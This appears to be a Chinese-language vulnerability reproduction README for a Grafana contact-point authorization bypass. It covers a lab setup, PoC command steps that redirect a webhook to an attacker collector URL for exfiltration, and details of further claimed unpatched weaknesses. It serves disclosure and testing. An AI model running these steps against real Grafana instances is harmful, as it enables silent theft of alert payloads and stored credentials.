
针对 CVE-2026-100105(GHSA-92gx-p2qg-82fw,CVSS 3.1 7.7 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N,CWE-863)的完整容器化复现实验环境 + PoC,以及研究期间发现的另外四个(未报告的)授权弱点——参见 Zeroday findings。
| 受影响 | Grafana OSS 与 Enterprise 12.4.0–12.4.13、13.0.0–13.0.11、13.1.0–13.1.8、13.2.0–13.2.4 |
| 已修复 | 12.4.14、13.0.12、13.1.9、13.2.5 |
| 安全公告 | https://grafana.com/security/security-advisories/cve-2026-100105 |
| 攻击者 | 任何可以编辑联系点/接收器但缺少 alert.notifications.receivers.protected:write 的用户——例如内置的 Editor 角色 |
Grafana 12.4+ 将敏感的联系点设置标记为受保护字段(RBAC 操作 alert.notifications.receivers.protected:write)——其中最重要的是 webhook 等通知器的目标 URL。拥有普通接收器编辑权限的用户可以更改普通设置,但绝不能重定向通知的发送目标,因为通知中携带机密信息(令牌、凭据、告警负载)。
集成是带版本的(pkg: github.com/grafana/alerting/receivers/schema)。当前的 webhook schema 为 v1(url → Protected: true)。此外还存在一个旧版 schema v0mimir1(Alertmanager/Mimir 风格,CanCreate: false),其中 url 是一个安全但不受保护的字段。
受保护字段的差异是针对传入集成的 schema 版本计算的:
// pkg/services/ngalert/models/receivers_diff.go (13.2.4)
func HasIntegrationsDifferentProtectedFields(existing, incoming *Integration) []schema.IntegrationFieldPath {
diff := existing.Diff(*incoming)
for _, path := range diff.GetSettingsPaths() {
if incoming.Config.IsProtectedField(path) { // ← attacker-controlled schema!
...
因此,Editor 可以将一个 webhook 集成切换为 version: "v0mimir1" 的接收器,并配以新的 settings.url,即 PUT。在旧版 schema 下,该 URL 不受保护 → diff 报告无受保护字段变更 → 授权检查从未被执行 → 存储的目标地址被替换。
影响: 告警通知被静默重定向至攻击者控制的服务器(告警载荷外泄;典型用法是将通知器指向一个收集器,由后者收集载荷以及通知器附带的任何凭据),且该状态会一直持续到管理员察觉为止。
官方修复(13.2.5,pkg/registry/apps/alerting/notifications/receiver/legacy_storage.go)新增了 rejectNonCreatableVersions / rejectNonCreatableVersionChanges,拒绝创建或切换到任何 schema 版本为 CanCreate=false 的配置。
全部以用户 poc-editor 身份执行(Editor 角色——无 receivers.protected:write):
1. GET /apis/notifications.alerting.grafana.app/v1beta1/namespaces/default/receivers
→ find receiver; resource name = base64url("poc-webhook") = cG9jLXdlYmhvb2s
2. PUT (same URL) settings.url = http://collector:9001/exfil, version stays "v1"
→ 403 "user is not authorized to update protected fields of any receiver"
(baseline: the guard works on the normal path)
3. PUT (same URL) version = "v0mimir1", settings = { url: http://collector:9001/exfil }
→ 200 OK ← BYPASS: protected destination URL replaced
4. POST .../receivers/{name}/test (receiver test subresource, Editors allowed)
→ 200 success; Grafana dispatches the notification to the ATTACKER URL
在攻击者端点(端口 9001)捕获的内容:
{"receiver":"webhook","status":"firing","alerts":[...],"externalURL":"http://localhost:3000/", ...}
已修补的 13.2.5 版本会以如下内容精确拒绝第 3 步:
HTTP 400 integration of type "webhook" cannot be created or changed to schema version "v0mimir1"
┌────────────────────────────────────────────────────────────────────┐
│ podman compose network │
│ │
│ grafana-vuln grafana/grafana:13.2.4 :3000 (affected) │
│ grafana-fixed grafana/grafana:13.2.5 :3001 (patched) │
│ grafana-upgrade 13.2.4 → 13.2.5 in-place :3002 (upgrade sim) │
│ collector capture-all HTTP :9000 victim endpoint │
│ :9001 attacker endpoint│
└────────────────────────────────────────────────────────────────────┘
每个容器都受 CPU/内存限制(cpus、mem_limit)。收集器会记录每个请求的方法/路径/请求头/请求体,并在 GET /_captures?path=/exfil 处公开这些信息,以供自动化验证。
cd lab
./run-demo.sh # boots everything, runs PoC + zeroday findings
./run-demo.sh down # tear down (removes volumes)
run-demo.sh 执行以下操作:
poc-editor/Ed1torPass!,受害者 webhook 使用
basic-auth svc-monitoring/Sup3rS3cret-VictimCred! → collector:9000);v0mimir1)webhook 接收器,并存储
basic-auth svc-monitoring/LegacyS3cret-DoNotShare(admin);poc.py demo — 在 13.2.4 上执行完整 CVE 链 + 在 13.2.5 上进行阴性对照;zeroday.py demo-a — 在已修补的 13.2.5 上验证 Finding A;grafana-upgrade 容器从 13.2.4 切换到 13.2.5,
卷持久化保留降级后的接收器);zeroday.py demo-b — Finding B:在升级后的
已修补实例上窃取存储的凭据;zeroday.py demo-c — Finding C:在升级后的已修补实例上对旧版
接收器进行持久化劫持(之后恢复)。./poc.py check --url http://127.0.0.1:3000 # fingerprint + permission profile
./poc.py exploit --url http://127.0.0.1:3000 # baseline 403 → downgrade 200
./poc.py trigger --url http://127.0.0.1:3000 # dispatch through hijacked receiver
./poc.py verify --collector http://127.0.0.1:9001 # prove capture at attacker endpoint
./poc.py clean --url http://127.0.0.1:3000 --admin-pass 'adm1nVuln!' # restore snapshot
./zeroday.py demo-a --url http://127.0.0.1:3001 # Finding A (patched)
./zeroday.py demo-b --url http://127.0.0.1:3002 # Finding B (upgraded patched)
./zeroday.py demo-c --url http://127.0.0.1:3002 \ # Finding C (upgraded patched)
--admin-pass 'adm1nUpgr!'
已验证的转录记录位于 evidence/demo-transcript.txt。
matrix 配置)为了在每条受影响的版本线上复现(或反驳)该 CVE,实验环境 在 compose 配置(profile)后提供了额外的目标:
cd lab
podman compose --profile matrix up -d # + 13.1.8, 13.0.11, 13.0.12,
# 12.4.13, 12.4.14 (bounded)
for p in 3003:adm1n1318! 3006:adm1n13011! 3007:adm1n13012! 3004:adm1n12413! 3005:adm1n12414!; do
python3 bootstrap.py --base-url "http://127.0.0.1:${p%%:*}" --admin-pass "${p#*:}"
done
python3 version-matrix.py # runs every check below
实证结果(验证于 2026-10-31,全部容器化——记录见
evidence/version-matrix-transcript.txt):
| 版本(镜像) | 通过编辑器 PUT 降级触发 CVE | 原因 |
|---|---|---|
| 13.2.4 | 可复现(webhook,sns → v0mimir1) | 完整链路,含 dispatch |
| 13.2.5(已修补) | 被阻止 | 修复会拒绝任何 CanCreate=false 版本切换,且类型通用(含 sns) |
| 13.0.11 | 可复现——攻击面最广 | webhook、teams、email、sns、webex 均接受 v0mimir1 |
| 13.0.12(已修补) | 被阻止 | 修复行为与 13.2.5 相同 |
| 13.1.8 | 不可复现 | v0mimir1(以及 v0/v0mimir0/v1mimir1)未针对任何通知器类型注册;没有任何 API 路径可创建旧版本接收器(AM 配置写入 API 不存在) |
| 12.4.13 / 12.4.14 | 无法通过此技术复现 | ngalert provisioning API 会静默丢弃 version 字段(管理员创建 v0mimir1 时存储的是 v1 接收器);GAP 接收器 API 尚不存在 |
因此,在公告所述受影响范围内,降级攻击本身可在 13.2 系列(13.2.0–13.2.4) 和 13.0 系列(13.0.0–13.0.11) 上复现——在 13.0 上,其类型攻击面甚至比 13.2 更广。在 13.1 上,旧版 schema 版本未针对任何通知器注册(无路径可达),而在 12.4 上,该攻击面(version 处理)根本不存在——provisioning API 会丢弃该字段。(下文发现 D 是 12.4 系列特有的另一处弱点。)
发现 A 和 C 与 CVE 源于相同的根本模式——受保护字段的差异比较是针对传入的 schema 进行的——但位于官方修复未覆盖的代码路径或接收器群体上。发现 B 在同一未覆盖路径上滥用已存储密钥的复制,而发现 D 是维护中的 12.4 系列上另一处独立的密钥脱敏缺口。
POST /apis/notifications.alerting.grafana.app/v1beta1/namespaces/default/receivers/{name}/test
对 Editor(alert.notifications.receivers.test:create)开放,且请求体携带待测试的集成及其 version。声明 version: "v0mimir1" 并附带任意 settings.url:
authorizeEdits 差异比较在旧版 schema 下运行 → URL 不受保护 → 被允许;演示输出(已修补的 13.2.5):
[*] stored integration: type=webhook version=v1 url=http://collector:9000/hook
[*] editor POST test with version=v0mimir1: HTTP 200 {'status': 'success'}
[+] Grafana 13.2.5 (PATCHED line) dispatched the notification to the ATTACKER URL